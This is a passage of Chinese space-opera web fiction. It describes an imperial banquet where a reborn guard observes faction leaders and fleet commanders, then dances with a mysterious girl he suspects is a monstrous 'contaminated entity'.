黑衣的男人无声地走进木门,黑鞋黑裤,黑衣的扣子扣到领口,露出来的双手肌肤苍白。 他在沉默中行走,踩过草叶上的露水,夜色里一袭黑衣,像一个黑色的幽灵,路上的侍者来去匆匆,完全无视了他。 只有当他走过第三道拱门的时候,他的轮廓才被照亮。拱门上的吊灯光如火焰,据说本意是要让所有从这里经过的人像被圣光照亮,洗刷罪孽,阴影不存。 路过的侍者一抬头看见他,像是突然看见鬼魂显形,惊得手中礼花散落一地: “李上将!” 让人意外的,灯光下,这个鬼魂般的男人有一张异常俊美的脸。五官清晰如刀裁,眉毛压得很低,拉出锋利的一笔,瞳子里像是有冰片一闪,极冷。 他的衣装齐整,一丝不苟。黑衣的前襟上,别有一枚银色的徽章,泛着金属的光泽,刻的是纯银的三角,禁锢着星辰般的眼睛。有点像神秘学里的“全视之眼”,却是诡秘的竖瞳。 那是“异常实体战略局”的标志,这是个极其神秘而血腥的机构,对异常和实体的研究据说已经超出人类科学的边界,从而向魔鬼的那一侧滑去,而眼前的李约李上将正是局长。 “不用害怕,今夜,李上将是我们尊贵的客人。”一个黑衣蓝氅的护卫从黑暗中走出,对着李约做出一个请的动作,“您来得早了。” “只是我的习惯。”李约径直向前。 走过最后一扇拱门,最后的庭院豁然开朗。 两边是一望无尽的草坪,镶边一色烈火般的蔷薇花,圣庭坐落在草坪的尽头,果然是教堂般的建筑,哥特式的尖刺有如高山,人从石子路上一路走去,仿佛朝圣。 每隔五步,蔷薇丛中有小灯照明,照得石子路泛着淡淡的金色,李约踏着石子,黑衣愈浓,脸孔仿佛透明。快到门前了,他忽然抬头。 就在这一瞬,教堂鸣钟,报时整点。钟声通天彻地,夜空黑尽了,巨大的黑鸦成群结队地飞起,夜风忽如其来。原本教堂的每道飞拱上都垂着烈火雄狮旗,现在它们飞舞如上百团火焰,帝国三千年历史的红色,仍旧鲜艳得像血。 李约垂下双眼,那眼神并不凌厉,只是寒冷得像冰:“空气里有熟悉的味道。今夜要下雨吧?” 护卫没有达话,只是欠身:“请。” 巨大的门扉在李约面前洞开,耀眼的光明崩泻,他一步踏入圣庭之中。 “异常战略局局长,李约上将到——”响亮的声音破空。 迎面是辉煌洪亮的乐声。 门后是二十四排锦装的礼官,衬衣笔挺,燕尾服光洁,戴金边礼帽,领花是白色的大蝴蝶结,连嘴唇上的胡须都修成打着蜡般的一弯。礼官们手持长号、大号和单簧管,仰天吹奏,吹的是一段欢快的迎宾曲,声音嘹亮。 一卷深红的长毯滚到人群深处。李约从人群中走过,金色的长号在上空交叉,仿佛以刀剑相交,贺英雄凯旋。 有侍女从两侧迎来,仿佛沉默的影子,为他解下外披,她们的手指温软,而动作轻柔,态度极其礼貌。但李约知道假如他表现出一丁点可疑,或表示拒绝,这些侍女会瞬间从她们那漫长的绸缎长裙下拔出各种杀器,从发丝一样薄的刀刃到生物毒性剧烈的基因针,因为与其说收走外套她们其实是在收走一切利器,她们那么礼貌是因为她们在贴身搜寻你的武器,在这个地方,她们有合法搜身一切人的权利。 李约耸耸肩,漫步走向中庭。 如果是第一次进入圣庭,大概会是难以用语言表述的震撼。 再没有这么宏伟的教堂,这样拔地而起的伟大的神迹。 一眼望去,是从地面接到天顶的玫瑰花窗,十扇百扇千扇,每一扇都是斑斓绝丽的彩绘玻璃,灯光透过去照成辉煌的金色。而天顶绝高如在云中。 远处,黑木长桥在空中飞越,长桥中心架着雕塑般精美的管风琴,管风琴四角耸立如高山。 似乎正有人在那黑木长桥上弹奏管风琴,这样巨大的教堂,如此古老而绝世的管风琴,声音在高天里混合成浩大沉雄的风暴。 诗人常以山海形容乐声,可是此刻又怎么能用山和海来形容那样的声音?怎么能用大潮和水波?便如在云上酝酿着雷霆那样啊!环绕声震耳欲聋,无处不在。 这样扣人心扉的音乐,李约却只是淡淡地抚掌,“好雅兴!这琴声,是你的风格。” 琴声稍缓,仿佛是鼓琴人听见了这话,一息之后,琴声再起,如浪涛天。 李约却没有兴趣再发表评价,因为一袭深红的身影出现在他视野的尽头。 黑色的、苍白的,皇帝。 即使披着一袭深红华贵的大氅,男人留给别人的印象还是黑白这样沉默的颜色。 皇帝今夜以盛装出席。藏青的军装,胸前佩五色绶带,勋章耀眼如星辰,斜披的大氅上垂下金子般的长缕。他的双眼漆黑如墨,额发向后梳去,露出清秀的眉宇,修长的双眉,面容如玉,如果不是唇边有一抹淡淡的笑容,似乎就要显得疲倦了。 男人对李约微微地笑,“李卿!”笑容中,似乎有亲切的热情。 李约却不敢有丝毫轻慢,低头行礼,“陛下。” …… “所以我们在这里站岗干什么?” “什么站岗?站岗轮得到我们么!你要抢这些禁卫的饭碗?”大卫露出老神在在的笑,“我只是带你来中心地带深度参与活动嘛。” 阿龙迦和大卫站在大殿的一角。作为护卫,他们本该寸步不离地守在皇帝左右,更别说已经荣升护卫长的阿龙迦。然而陈寂看了他一眼,只是摇头,说:“不必跟着我。你的任务,就是记下今天出席的人脸。认清他们,才是你做护卫长的第一步。” 这话变相地给了他自由活动的权利。所以他现在得以站在隐蔽处,默默地观察。 阿龙迦还是那身挺拔的黑色制服,银扣雪亮,右肩上却已披上了深蓝的大氅,银色的绶带系在胸前,头发梳整齐了,深红色的瞳子明亮如火。虽然没有那些显赫的勋章,却也显得神采逼人,看那张年轻而骄傲的脸,眉梢冷冷的神光,倒像是某个世家门庭的贵公子。 大卫和他一般的打扮,这是今天护卫们的统一着装。 大卫此刻竟显出微微的焦躁来,那管风琴弹得越响,他就越脚不沾地,来回踱步,金发被他抓成了鸡窝,那音乐倒像是在他头盖骨上敲出来的。 “你怎么了?” “哈哈……只是听到了熟悉的音乐。” 大卫头上居然微微出汗。他讷讷地一笑,“不说这个了……你看这殿中的人,能看出什么分别来不?” 分别?阿龙迦瞳光一闪。而后明白了他的意思。 “人们的衣服颜色不同。”他侧过头,“比如右手边二十米处,人数为八的团体中,有五人衣红,两人衣墨绿,只有一人衣黑。” 不仅是这八个人,放眼望去,圣庭的大门洞开,衣装华贵的人群陆续而至,人头涌动,宣唱声不绝于耳。 人群的着装泾渭分明,多数人的衣着都是红色的,深红、浅红、暗红、枫红,女士们的长发中斜插晚霞一样红的大丽花,男士领口则塞着枫红的领巾,这些衣红之人虽散布各处,与人交谈,却隐隐仍成一个群体,眉梢眼角骄傲而飞扬。 其次是衣墨绿的人群。这些人的服装趋向保守,长袖长裤,似乎每个人都是异战局局长李约那样不露肌肤的严苛,领口的领带打到最紧,女士们的长裙不事热烈奔放,而更加婉约,身周的香水也沉郁如夜色,深青的裙摆在人群中走过,仿佛暗水上盛开青色蔷薇。 最后,人群中隐约能看见几个穿黑衣的人。这些人的人数实在太少,淹没在人潮中,只能看见零星的黑色。 他如实描述。大卫点头,“非常敏锐。只是,除了这三类,其实还有第四类的人。但是他们穿的颜色太杂太随意了了,就混在前三类中,你看不见。” 阿龙迦眉头微动。这种大规模的着装同调性,在他的心中,代表着某种党派。“是为了区分党派?” “是。”大卫承认,“这是他们政治官员中的大党派划分:中天派,衣深红,其中成员全部来自或就任于王庭星团,也就是中天大冕座;星环派,衣墨绿,代表附近多重群星之环的势力;边缘派,衣黑,来自更荒芜、遥远的边缘星域。” “至于第四派,第四派没有名字,但人们都叫它自由派,其中所有人都追随圣庭女爵。” 阿龙迦心下了然。在他的年代,这种按王庭、星环、边缘星域的党派划分就已经根深蒂固了,只是还没有形成这样的着装统一。 “在此之外,还有一些政治力量是属于‘皇室党’的,但是,他们不可能出现在圣庭夜宴,因为没有人邀请他们。” ‘皇室’党。阿龙迦的面容似乎狰狞了一瞬,他很多年都没有听过这个名字了。再次听到这个曾经以肉互搏、以牙撕咬的死敌,牙间仿佛有一股浓烈的血腥。 人群嘈杂起来。门口再次奏响恢弘的音乐,响亮高亢,仿佛天空里下起一场金色的骤雨。 门后那些人走进来的瞬间,仿佛有光照了进来。却不是灯光,而是那群人的容光,这光像是一下把一切都点亮了,满殿的光明都开始呼吸。 那里站着月色般的群影,都是年轻人,女孩们长纱如雪,男孩们一身白衣。 他们的美似乎是朦胧的,不可触碰,像映在冰上的影子,一袭袭白衣影子重叠,叫人想起芭蕾舞剧吉赛尔里在林中起舞的幽灵,头顶垂下哀艳的白纱。都是年轻而纯净的面容,年轻人们低着头,眉毛秀气,睫毛纤长,低垂的瞳子清澈如湖,清秀得像是竹子,或者《以诺书》中描绘的神前天使,叫人心中战栗又惊动。 殿内被那种光芒压得静了一瞬,而后愈发得嘈杂起来。 “‘歌舞团’来了。”有人低声嗤笑。 “不知道今天又要跳什么舞?” 年轻人们排成长列,从黑色拱顶的长桥下走过,像是一列朝圣的白衣神使。 “别看有的年纪小,”大卫努努嘴,“这些年轻人,可是受到了特邀才能来圣庭献出表演,但却并不是民间那种歌舞艺人,事实上,他们中几乎所有人都是公卿要员之家的贵胄,不是家里最优秀的孩子也接不到邀请,来到这种只限于顶层的御前夜宴,对于这些年轻人来说,这是顶天的殊荣。” “什么表演?” “等所有人都到了,你就能看到。” 仿佛是应和着大卫这句话,前殿忽然陷入了死一般的寂静。 本来年轻人们的到来使得场面喧嚣十足,有人吹口哨打趣,有人眼神肆意流淌,可这一刻所有的嘈杂都消失了,像一道雷霆劈开了混沌,天地初开。 门外的禁卫推开古老的木门,极其齐整而沉重的脚步声在夜色中响起,那声音里的森严,仿佛是一整支军队在行进! “军部的人到了。”有人低声地说。 十四个服深黑军装的人在沉默中踏入殿中,难以想象那样有力的脚步声,居然只来自于十四个人。 他们没有佩任何武器,每个人除了站姿刚昂笔挺,都显得寂静而平平无奇,只有在女侍搜身时,偶尔有人抬眼,隐隐地有股血气,让人感到全身针扎般的危险,像是雨林中野兽窥伺。 进入殿中后,十四人忽然整齐地分开,微微躬身。 响亮的宣唱声响起:“银环蛇总舰队长,庭兰上将到——” 一个人影从十四个人之间走出。只是一个人,那十四人的气势,乃至全场所有人的气势,都像风烛般吹灭了。 那是一个年轻的女人,披着深黑色的军装,黑色的手套和长靴,身形高挑夭矫如黑豹,一双冰镜般的眼,两道深青色的长鬓,有如刀裁,眉宇清秀,风骨苍峻,几乎有如古代的侠士。 她漠然地四顾,瞳光如雪,长靴击打地面的声音冷酷,她谁也没看,可她目光所过之处人们都低下头去,仿佛畏惧她那凌厉的刀光。 “真是的……这脚步声,总是让人发出冷汗啊!”似乎有人咬着牙,窃窃私语。 “‘这就是‘狐蛇鹰剑葵’中的‘银环蛇‘’总舰队长,‘烈旌旗’庭兰,”大卫小声赞叹,“其作战之风神勇刚烈,是千载少有的、以大范围横推和“勇武”著称的名将,近年来几乎从无败绩,治军之严酷,传闻中几与不可说的那位并肩。” 大卫扭头,捅了捅发怔的阿龙迦,“你怎么了?” “没什么。”阿龙迦回神。 只是见到了当年的故友。曾经在几光年没有恒星的黑暗中并肩奋战,透过舰船的观测窗,只有朋友的战舰在无尽的黑暗中呼应。真是刻骨的孤独啊。 真好!多少年后,得见故人勇烈更甚! 似乎有人听到了他的心声,一声清越的长吟在夜色中传来: “挥泪别赋五载后,涉水遥见故人来!” 夜色中,唯有风声,鸟啼,吹衣声烈烈。 一袭皎洁如月的白衣,信手拊掌,踏入殿中,步子轻盈有如踏风。是个贵公子一样的年轻人,面容婉约,眉梢眼角都像画出,写意而风雅。 年轻人在庭前长吟,缓步,微笑,人们心中的紧绷忽然就松懈下来,不自觉地就要跟着微笑。 他走入殿中的速度不急不缓,脸上氤氲着晨雾般的笑意,仿佛不是御前的夜宴而只是晨间信步。因着年轻人脸上的那个笑,殿内凝结的一切又开始流动,冰消雪融,没有人见过那么风雅而如美玉的年轻人,那个笑容,清澈如水,不染尘埃。 迟来的宣唱声响起:“铁羽鹰总舰队长,秦羽衣上将到——” 年轻人破入人群。在这之前,四下里都是静静的。现在殿中一下子嘈杂起来,嗡嗡的。 “‘画眉月’秦羽衣,号称是风一样不可挽留的贵公子吧?”气度高华的女人嘴角含笑。 “公子清如水,万花避白衣,”有人玩味地这么说,“就算是风也该是拂面的春风吧?有时候总让人忘记他也是军部的人。” 这些女声都带着调侃或玩味的笑意,像一股暗香隐隐地流动。可是大卫开口的时候,评价却是截然不同的四个字: “不可捉摸。” “铁羽鹰舰队长,外号‘画眉月’的秦羽衣,虽然形似手无缚鸡之力的贵公子,却其实也是闻名天下的名将,行事如妖鬼,最不可揣测。” 大卫脸色居然有三分的凝重,“我姐姐和我介绍的时候,说庭兰上将神勇凌厉,治下严酷,众人见其风采莫不为之畏惧折服,为人时,却有一分清刚,是古来将帅正统之风,但是介绍秦羽衣的时候,她只用了三个比喻:山间的云雾,夜狩的雄狐,月下的山鬼。” “她当时的话是,‘此人性如妖鬼,为谋深远,偷天换日,近其身必有波及,然,不可近,不可不近,不可远,不可不远。’” 阿龙迦听着这评价,里面熟悉的意味让他忍不住想笑。却不是说的有什么错误,而是说的正确!太正确了! 可是这话居然出自她之口……过去了许多年,故人之间似乎隐隐也有博弈。 “怎么,现在舍得跟我提起你姐姐了?”阿龙迦想起大卫之前提到姐姐就装傻的样子。 “这不是没办法吗,再瞒有什么用,你马上就要亲眼见到她了。”大卫整个人气馁下去。 “在哪?” “等她弹完这一首,你就会看到她。” 不远处,秦羽衣行至与庭兰并肩,自然而熟稔,秦羽衣拂长袖而笑,“五年不见,将军风采,真是更甚以往。” 庭兰的声音冷酷,“是么?可惜五年不见,你的脑疾,似乎没有丝毫好转。” 黑衣上将露出一抹讥诮的笑,此言似乎是暗指秦羽衣出场时的骚包。 秦羽衣汗颜,“将军,故人相见,上来就拆台么?大家都还盯着呢,总要留小弟一份面子的。” “这么多人盯着,你不是照样吟你那歪诗?” “……” * 远处,圣庭的大门缓缓关闭。 合上的一瞬间,木门发出沉重的响声,同一时刻,管风琴的声音停了。 所有人都不由地回头。 管风琴并非突然寂静,琴声本来有如高天里的一场风暴,急而复急,高而复高,演奏者忽然雷霆般一挥,在极致有力的强音中,挥出了一个斩钉截铁的句号。 强音落地,演奏者霍然站起身来。 这是全厅的人第一次看见演奏者,那是一名白色宫装的女性,她提着长裙,从那么高的黑木长桥上走下,一步步,天地失色。 她散漫着一头金子般的长发,阳光般的金色,明亮得像是流淌着火光,脚下踩着白鹿皮的高跟,脚步清脆,滴滴答答,像一场朦胧的春雨。 阿龙迦心下了然,脸上继而浮现出一缕叹息般的笑意。 叶妮薇·亚伯拉罕!这么多年,依然晨星般璀璨! 所有的人都纷纷向她欠身低头,“圣庭侯爵。” 连皇帝也抚掌问候: “叶妮薇,感谢你的演奏!真是绝丽的一曲。” 阿龙迦察觉到身边的大卫已经全身紧绷,这小子脸皮轻轻抽动,目不斜视地盯着地面,头发丝都快要根根倒立,不禁感到好笑:“……你姐姐对你影响这么大?她在二十米之内,你都不成人样了?” “你没有姐姐,你说的轻松。”大卫扯出一个难看的笑容,抖了抖,几乎要整个退到阿龙迦身后,“我不仅大败你手,还丢了护卫长的职位,她还不知道会怎么……算了,不说了。” 他抖擞肩膀,长呼一口气,用手捋过自己一头的金发:“如你所见,这是我姐姐,亲姐姐,叶妮薇·亚伯拉罕,亚伯拉罕家族当代家主,世袭封号,“圣庭侯爵”。” “在帝国,法统并不分封贵族,没什么公爵侯爵的,人人都是平等公民。只有历代亚伯拉罕家主这一个例外,他们是整个帝国史上唯一被承认头衔的存在,以圣庭为号,贵称‘圣庭侯爵’。 这封号并不是由帝国赐予,最早的时候,亚伯拉罕家族是超级文明‘苍白王庭’的子民,那是个有贵族制、推崇古老血统的文明,亚伯拉罕当时的阶衔就是侯爵,直到宇宙文明大一统,进入帝国时期后这个头衔还被保留,是因为在黑暗时代初期,大熄灭的天灾中,亚伯拉罕为全人类做出了巨大的牺牲和贡献,考虑到这功勋,才有这个‘圣庭侯爵’的荣誉称号。” 虽然嘴上在交谈,两人的眼神却没有离开过金发的圣庭女爵。 女人昂首挺胸,没有佩任何珠宝,却比这殿中任何一个盛装的“大人物”还要气度高华。 金发亮如燃烧,面容冷厉,长眉如刀,瞳子是热烈的海蓝色,那样一张冰封的脸上却有一股朦胧的光晕,她的美鲜明夺目,古老而华艳,仿佛剥蚀的壁画。 她的白裙剪裁精妙,胸口别着古老的家徽,“不朽蔷薇”,双肩系冰蓝色的披风,有流水般的羽纹,走动时被风揭开,像一面轻盈的长旗。 她从楼梯上走下,四周马上就有追随者一拥而上,形成一个隐隐的大圈,圈中人既不衣红,也不衣墨绿或深黑,他们的衣着随意,各式各样,细看去他们 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周围的人们一时都有些怔住,庭兰踏入这间殿堂时那么冷厉那么满身肃杀,可她此时行吻手礼的姿态又那么自然而绅士,这一幕好似黑衣的骑士王低头轻吻君主手上的古戒,在神前发下征战一生的誓言,白袍的君王以悲悯的目光抚摸她的头顶。 太老旧太童话了吧?可是也太浪漫,放在油画里是黑和白相衬的极端,人们的心跳不由得有些怦怦然。 “侯爵大人!真是多年不见。”秦羽衣那袭白袍不合时宜地挤入画面,笑眯眯的,“侯爵大人是不是忘了这里还有别人?我还以为是我穿得太白,光反射到了你的眼睛。作为你几十年亲爱的好友、战友、同事。难道不值得一个拥抱?” “舰队长。”侯爵看向他,却只是冷漠地点点头。 * 寒暄和交谈声被一阵铃声打断,白色领结的侍者摇响黄铜小铃,皇帝在不远处向人们微笑颔首,这是在说来宾到齐了,圣庭夜宴,就要开始。 可是人真的来齐了么? 阿龙迦无声环顾,军官们断续入场,可是连五大舰队的舰队长都没有到齐,银环蛇的庭兰,铁羽鹰的秦羽衣,那么鬼刺狐的唐璜呢?还有千叶葵……甚至剑齿虎的舰队长? 剑齿虎……么? 阿龙迦缓缓地低下头,那个瞬间,他想起了一个名字,一个不堪回首的名字。重生以来他竭力不去想,可今日故人聚首,那个黯淡的侧影,终于不可避免地在回忆尽头浮起。 所以不是还没到齐,而是不能到齐了。他默默地按住胸口,有一股空洞的痛楚缓缓淌出来,他尚且有重新睁开眼的机会,可是他们中最好的,已经死了。 一如阳光般的昨日。 那个杀了他的人……他的目光下意识地在人群中寻找陈寂。陈寂在人群之中,像金色的雕塑,那张脸还在得体地微笑,那笑容让人想要撕毁,仿佛暴雨撕裂阳光。似乎当你站在阴影中时,看到那样的笑容,会让怨恨成百上千倍地疯涨。 他杀了那么多人,帝座下少时的朋友们尸骨相藉,为什么笑起来还是毫无阴翳?仿佛他、他们的死亡,都只是可以挥手掸去的浮灰。 他心底那个幽魂的声音又响起来了,咆哮说这就是你的王朝么?这就是新时代?今天我看见它的繁荣了,真是美丽而……血腥!旧时代的人都被烧死了,所以长久而繁盛。 你还会烧死谁呢?你还想烧死谁?故人只有那么多了,庭兰唐璜还是秦羽衣?他恶意地揣测,也许这就是今日朋友们不再和他站在一处的原因。皇帝啊,皇帝,念起来真是了不起的名字,皇帝!皇帝不需要朋友,所有人都有如下人。 * 人们开始陆陆续续地走过黑木长桥,进入内厅。圣庭夜宴,将在更私密也更华贵的内厅举行。 阿龙迦和大卫缀在队尾,外殿已足够华丽,进入内厅,却仿佛又是一重山在眼前推开,内厅的庄严不可以语言描述,空旷高寒,几乎可称“神圣”。 仍然是典型的哥特风格,白骨般细长的束柱林立,所有线条都昂然地向上流去,尖形拱券拔的内庭像天空一样高,站在这森然的天顶下,让人不敢高声语。 红绒地毯像一卷细长的新血,直通内厅的最深处。那里的“庄严”“神圣”浓郁得简直如有实质,灯光在墙壁上打出透明的光环,像烈日的光辉闪烁成圈,十万只箭呈圆心齐发。 本该是圣像和神台的地方,只是一片空旷。圣庭的尽头只有一面墙,所有来者的目光,第一时间却都会停留在这面墙上。墙上高悬巨大的金属徽记,鲜艳而古老,并列在圣庭之上。 从左到右,一共有五面金属徽章,代表的赫然是五大舰队,依次是鬼刺狐的“鬼影铜面”,银环蛇的“无限之蛇”,铁羽鹰的“垂天之云”,剑齿虎的“铸剑神虎”,千叶葵的“千叶血葵”。 这是它们最被人熟知的标志,舰队旗帜。 “鬼影铜面”是一张古朴的青铜色面具,厚重神秘; “无限之蛇”是深蓝的,深蓝近黑的宇海中,无限之蛇衔尾如两个巨轮,像是一个倒放的无限; “垂天之云”,描绘的是一只遮天蔽日的苍青之翼张开; “铸剑神虎”则是口含双剑的玄黑之虎,那既是它的利齿,也是它铸下的名剑,意指剑齿虎是帝国重器,它剑锋所指,天下宾服; “千叶血葵”则是最艳丽的,巨大的血葵花怒放在旗面上,每一叶都流淌下浓郁的血色,猩红色千层万层地绽开。 这五枚巨大的徽记下,是密密麻麻的小型徽记,从天顶一直垂到地面,多如海沙。 这都是帝国官方麾下的成建制舰队,它们有一个统一的名号,叫做“星舰联盟”。 而在这所有的徽记之上,唯有一面古老的巨旗,悬挂在圣庭的天顶,像金色的天河奔流到地面,它的颜色是璀璨的金银二色交织,并绣苍红和深青,一头鬃毛狂发的雄狮跃然而出。 它的气魄勃发而苍古,飞扬而厚重,新与旧,新生和苍老,跳跃和庄严,似乎都只在那一面旗上,仿佛穿越了无穷古今,而形貌依然。 “烈火雄狮旗”,数千年来,帝国不曾改换的旗帜。 “何等浩大奇绝…”大卫叹息。 “叹为观止。”阿龙迦附和。 两侧有铺着金锦白布的长桌,桌上水晶杯搭成一座座梯形塔,人们摘取酒杯,向酒侍索要不同种类的酒。流泻入杯底的酒液,有的灿金,有的酒红,有的如琥珀,有的透明如冰种的玉,有的浓紫。 阿龙迦拿起一杯,他只是轻轻地摇晃,杯底泛起淡淡的碧色。 清澈的敲击声响起,人们的目光都聚集在一处。皇帝以银匙轻敲酒杯,今晚他一直挂在面上的微笑隐没下去了,这强权的主人以目光扫视众人,那目光如铁般刚强冷硬,每个人都仿佛被按剑的手擦过头皮。 他缓缓地举杯:“为今夜祝酒!” “数年枕戈待旦,人类兵马已足,黑夜中的火光就要再次燃起,大进攻的时代来了,今夜,庆祝我们的第五次总攻!” 他以斩钉截铁的三个字结束致辞:“敬人类!” 众声附和,如海潮般回荡,人们举杯如山林:“敬人类!” 许多人以为这样隆重的时刻,他会发表长篇大论的演讲,因为不是所有人都支持进攻,御驾亲征在即,也许他需要费上那么一点心神来,撂下一点掷地有声、振聋发聩的致辞,如钟发省,令人慑服,这是历代皇帝们御人的手段。 可这个男人,只是吐出这么短短的一句话来,只是简短地告知“本人马上就要去打第五次总攻,你们都知道一下”,便如大声宣告他一点都不在乎这间殿里的废物们如何想,金鱼如果思考,人类只会发笑,从君临到遥远的第一星环虫桥群,所有星舰已为他林列如海。 不同于软弱多变的先君们,这条血脉中终于诞生出以血手治世的神勇之主,皇帝陛下的意志仿佛洪流推进在宇宙的荒野上,在他的时代,其他人的心绪都只是水面的鸿毛。 烈酒被一饮而尽,皇帝笑容又洋溢起来,目光中透出醺醺的酒意和欣喜,他张开双手:“夜宴开始!” 音乐骤起。 天和地忽然旋转起来,人们发出惊叫,那群纱衣如雪的年轻人们不知道从哪个缝隙中涌进人群,每个人都在旋转,和着乐点徜徉滑步,年轻人们以目光问询,将点头的人牵着手拉进他们的队伍。只是一瞬间,内厅中的肃穆就融化了,所有人都在舞蹈,音乐是一首华丽而花哨的华尔兹,暖场正好,礼裙和纱裙旋转起伏,像春天百花盛开。 阿龙迦逆向穿过人潮,悄无声息地来到大殿角落,像一道黑色的影子。重生后,他已经习惯这样默默地观察人群,所有的细节都被纳入眼底。 他看见大卫逃也似地淹没在人潮中,女爵在人群外冷眼看着,庭兰抱臂在她身侧,似乎说了什么,她的面容柔和一瞬。 他看见秦羽衣一振白色的长袖,切入舞蹈的人群,他似乎是个绝好的舞者,起伏之势夭矫,有如直攀云中,如鹤展翼,如龙在天,他的舞步刚勇强势,带动周围的人为之改变,不再是曼丽的华尔兹,而像是某种古老的祭祀,远古的巫祝在黄昏的冰原上挥举大袖起舞,年轻人们披着冰纱旋转,在他的操纵中难以远离,像是飘落在鹤羽上的冰花。 最后,他看见陈寂在人们的簇拥中举杯,他不拒绝他人的敬酒,且饮且笑,显得豪迈十足。今夜皇帝的姿态十分松懈,面上浮起浓重的酒意,仿佛慵懒的雄狮。 喧嚣的静寂中,阿龙迦无声地笑了笑,向那浩大的人潮微微举杯,将杯中的酒一饮而尽。 这殿里的光太耀眼。恍惚间照得故人容光明亮,恍如昨。 “请问,我能和您跳一支舞么?”背后,有轻柔的声音响起。 阿龙迦悚然。全身的汗毛在同一瞬倒立,一股毛骨悚然的战栗漫过他的脊背。 他回过头去,一个年轻的女孩正朝他微笑,黑发黑眼,黑色的瞳子映着灯光,眼波流红。 重生以来,他从来没有感受过这样巨大的危险,像面对血海尸山。他脑海中的警铃疯狂大作,心却缓缓地沉到谷底。 两个人隔着人潮像野兽般对视。 良久,阿龙迦缓缓地说:“好。” 13. 13 绝穹之舞 一滴冷汗从阿龙迦的背上流下。 鬼魅般出现的女孩走近几步,呼吸可闻。有些太近了,近得阿龙迦都能看清她睫毛上的银粉,脸颊上那一缕晶莹的红。 阿龙迦不动声色地打量,制式的“歌舞团”白纱裙,光亮如缎子的黑发,整齐的刘海把眉毛遮住,脸颊仿佛透明,黑瞳子清澈如水,女孩似乎和歌舞团中的其他人别无两样。 可这一切和谐仅仅留在视觉中。他曾平涉沙场十数年,血战磨砺出了他某种锋锐如刀的直觉,一种近乎动物样的本能,让他在敌人附近本能地警惕,这种直觉曾不止一次在伏击之中救过他的性命。 他曾杀死畸变如巨龙的污染种,从头到尾长达三十米,尸骨仍宏伟如神话中的堕天使,那时候的危险感也只是如芒在背。可看见这女孩的一瞬间,一切那么柔和而曼妙,却仿佛有刀锋指着他的眉心。直视她双眼的一刹,像被十万条粒子束在背后锁定。 在阿龙迦的那种“直觉”中,她站着的那个点扭曲坍缩,空间和声音全被拉扯向她,看不见人形,只有死寂恐怖的漆黑。 她出现在这间殿堂的时候,所有光线就全被吸到她身上去了,却不是太阳,而是黑洞。 “怎么了?”阿龙迦恍然地“睁开了眼睛”。女孩正对他微笑,黑瞳子闪动,脸上有一对小小的梨涡,“不跳舞吗?” “失礼。”阿龙迦吐出一口气。 女孩将右手递来。他以掌心拖起那只手,目不斜视,踏出刚昂的步伐走入舞池中。 一时间,左右不由得侧目,男孩制服蓝氅,女孩长发如瀑,他们踏出的步伐是那么的轻盈相和,当他们走进舞蹈的人群,人们不由得让出一条路来,两张脸都是如此的年轻光洁,相映生辉。 看见他们,像一束阳光忽地照进殿上。 仿佛为了照顾这些新加入的人,高处的乐声一转,号角声层层而起,飞扬高转,像阵前扬旗,火红的战马仰天长嘶。 而后金铁之声忽起,乐曲仿佛一下被点亮,庄严中漫漫转动华贵和雍容。倏尔有鼓声!叩天之釜,动地之砧。鼓声如雷,越来越响,金铁之声复起,越来越利,越来越高,最后锵一声爆裂开来,鼓声入破,仿佛百万战士一同拔剑,铁甲震颤如雨! “好一曲军乐。”女孩微笑,有些无奈,“恢恢有破阵之意。奏起来真是壮观,只是苦了我们……你会跳军舞么?” “曾经得到老师教导,略懂一些。”阿龙迦处敌以静,八风不动,只是维持一个年轻护卫的形象。 “不比消遣之舞,军舞有如交战,厮杀一起,兵不见血,一起便不能复收。你确定要跳?可别败下阵来,会很难看的吧?”女孩子语气天真。 “愿与相战。” “真是严肃啊。”女孩摇头。 两个人踏出刀剑一样的步子。只是一个动作,柔靡的气氛就打破了,凛冽仿佛有剑气纵横。 “你有名字么?”阿龙迦开口,问出的是一个稍显奇怪的问题。 “无礼啊!要问别人名字难道不该先报上自己的名字吗?”女孩眼睛一瞪。 “我的名字不重要,就像我在这间殿堂的所有人里,也微不足道。”出乎意料的,阿龙迦摇摇头。 “那就告诉你好了,我叫尼罗。”尼罗居然也不恼。 阿龙迦不言。两个人旋转而又复相对,尼罗眼睛眨了半晌,她盯着阿龙迦的表情,双眉一扬,“我的名字有什么奇怪的地方吗?” “我不是觉得你的名字奇怪。”阿龙迦还是摇头,“只是你理解错了我的问题,我不是问你叫什么,我是想说:你也有名字么?” “你什么意思?我为什么不能有名字?侮辱人吗?看我好欺负?”尼罗的脸颊有血色慢慢涨起来。 僵持在空气中拉开,两个人默默地对视。又是仿佛猛虎嗅闻彼此那样,两道目光像在照镜子,阿龙迦的目光锐利而平静。 他慢慢地说:“名字是‘人’才需要的东西,你是人么?” 死寂。 尼罗睁大了明净的双瞳,素色的脸上血色涌动,眉毛绞起,眉间的恼怒像勃发的小狮子,生动得就像任何一个年轻女孩。 听到这句话,那种恼怒却缓慢地退去了,然后是那张脸上的所有神情,那些生动的皱眉、抿唇、眼波流转,都被不可思议地掩去。像一张落在水底的人像,卸去了所有的颜彩,出水时只剩下粗勾的轮廓,而那张脸上,一片空白。 骇人的空白! “可一个东西如果不是人,那该是什么?”尼罗轻声说。她的声音中透出诡异的沙沙声。 像夜里打在墙上的树影。像枯叶下蛇的醒来。 “异兽、污染种,诡异的畸变实体,你们更喜欢哪个名字?”阿龙迦不看她,目光去向没有终点的远方。 良久,尼罗忽然笑了。像一滴血渲开枯池。 音乐舒缓下来,人们相依着彼此的胸膛慢舞,几乎面颊相贴。 “异兽什么的多难听啊。”她用手臂扶住阿龙迦的肩膀,鬓发轻轻擦过他的下巴,“污染种吧。” “B级,A级……你是哪一种?我杀过无数的污染种,可你比它们中的每一个,都要危险。”阿龙迦低声说,“我杀过最高级的污染种,别人都叫它们君王级。扭曲万物,以天体为血食。那是从所有生命最黑暗的想象中爬出来的东西。君王级污染种,是你么?” 尼罗笑起来,笑容纯粹。那双眼睛远看漆黑如墨,贴面来看,在灯光照射下却渐变出深邃的瑰红色,那种惊心动魄的红,像葡萄酒。一阵浓郁的雾。 “真像在说故事。你看起来只是个默默无闻的小护卫,小护卫也上阵杀敌么?” 阿龙迦没有辩解,“我是个小护卫,可这殿中的大人物多得像泥沙,这么多人中,你为什么找上我?” 尼罗顺着他的手臂后仰,长发如瀑布,她没有回答,语锋忽转。瞳子朦胧,“有人说过你的发色很红么?像火。” “我见到的每一个人都这么说。” “那么,他们看到的红一定不如我眼中鲜艳。” 